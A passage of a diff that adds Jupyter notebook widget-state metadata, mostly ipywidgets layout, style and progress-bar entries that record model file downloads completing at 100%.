+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c797a3a49d1d44598e8810817eac04f6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c826a36c99ae462abccdc59266c404d3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c87c0b939bbe4e56b46fca4aa580f75a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c883ad6804cd4f628494b1eb7f432e51": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c8ba37c669974bbea2face17223d2bb4": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c8cabf1d8ffe421296725d8494ba0d3b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_59b6eeeaf9464da891bf214ef1bbb7c2",
+            "placeholder": "​",
+            "style": "IPY_MODEL_7d3baaa3ab784895a59534261f43ce7d",
+            "value": "Downloading (…)_encoder/config.json: 100%"
+          }
+        },
+        "c909bafccc65402fa93afea87f1b784e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_91f32130b9fc47ceaae99521c0b70015",
+            "placeholder": "​",
+            "style": "IPY_MODEL_e8bec5477f7c43c1a55c852ef8b7cb95",
+            "value": "Downloading (…)ch_model.safetensors: 100%"
+          }
+        },
+        "cabab037d12a455bbd283477e481d4ca": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2b68707a9749479cab4b4ecd124d87cb",
+            "placeholder": "​",
+            "style": "IPY_MODEL_e7274e83d2c44080bbbb2fc5ec79dfee",
+            "value": "Downloading (…)ain/model_index.json: 100%"
+          }
+        },
+        "cd437bc3e2194f1a8c5e83ec98745b58": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "cd9c9d32567f4e5aa9291f66b08490bf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ad07cccdd8d44a9ab5e3458e8d902ac6",
+            "placeholder": "​",
+            "style": "IPY_MODEL_ff88d9a5f7d64ad7bb0f09f6c71543f1",
+            "value": "Downloading (…)ch_model.safetensors: 100%"
+          }
+        },
+        "cdcf280e7a3043c2a1d59e0eea379d96": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ce0bc6a269b841e59b3c1b00796b8605": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ac71f4fe6e804f19b2529c82e5a42049",
+            "max": 75,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_518150c24b25401d92cf483e5ecb0253",
+            "value": 75
+          }
+        },
+        "cf11071b7b114118a8b0b659167fa09e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_03bce4ac84fd40d485b023e21fe65c4f",
+              "IPY_MODEL_d0e9965e6aa4483da2dfa546b896e645",
+              "IPY_MODEL_22338ed9cec54338ad33267ed579603a"
+            ],
+            "layout": "IPY_MODEL_622d32a9bbda46fca3ee0733be303765"
+          }
+        },
+        "d011d28093544ae692f90a7380908275": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "d0716d01bfdf43ba88f8bbfd63d3285a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_a9ab859e76814985877a4bacdb04e95a",
+            "placeholder": "​",
+            "style": "IPY_MODEL_1df97f1113c34b7eb89c7d1c6a81b3bd",
+            "value": " 587/587 [00:00&lt;00:00, 12.9kB/s]"
+          }
+        },
+        "d0e9965e6aa4483da2dfa546b896e645": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1237bd63fa814b57bbd9741296d71f46",
+            "max": 75,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_5b3ca63a1af5452cb81fde6020fd9c53",
+            "value": 75
+          }
+        },
+        "d22523983b9a4c71a3057f3a281895ee": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d3165abbffbc4da3bd4f0cb6f3437140": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d3971f94fa5f433580509a27ce3ad017": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "d4c5db5f7ffe42beb2065e14cbdd755d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_bc9783a6d9d0437b881b01cad81c0173",
+            "placeholder": "​",
+            "style": "IPY_MODEL_9e5ef9fe15314ce3bf13e61994851485",
+            "value": "100%"
+          }
+        },
+        "d612163ad6d24d91a6d7ee758d8d6367": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d62c5143fa1544ba9e2d22555dc6c3f9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d74c7ced9e5841e0a3635bf848912874": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "d801dfb1d399475e995ca9106f9b3a4d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d8b3f3c7b8394b5580d8541f20c090ae": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_db833b8a924f43208063cdc7b74220f7",
+            "placeholder": "​",
+            "style": "IPY_MODEL_d74c7ced9e5841e0a3635bf848912874",
+            "value": "100%"
+          }
+        },
+        "db833b8a924f43208063cdc7b74220f7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e04b95f508b7431c9f4ee9159e3b5b13": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e417a487b9ab44d68bf5d4155f4ff339": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c2ccf29c76d1461c8e820cdd1091684a",
+            "placeholder": "​",
+            "style": "IPY_MODEL_42248bb1fb38481eaa292dbca2d68e38",
+            "value": "100%"
+          }
+        },
+        "e6942466051e4a6a97c36b56d8d4e0c2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "e71abb2ba1b546ff9d7acd0c174f60d4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "e7274e83d2c44080bbbb2fc5ec79dfee": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "e76b29381c114f808b3454fb122e8d10": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e85ceff770654ef1bd935f54ca32ee07": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d801dfb1d399475e995ca9106f9b3a4d",
+            "max": 587,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_ed75698d0ffe4bcf886c72d276bbee17",
+            "value": 587
+          }
+        },
+        "e8bec5477f7c43c1a55c852ef8b7cb95": {
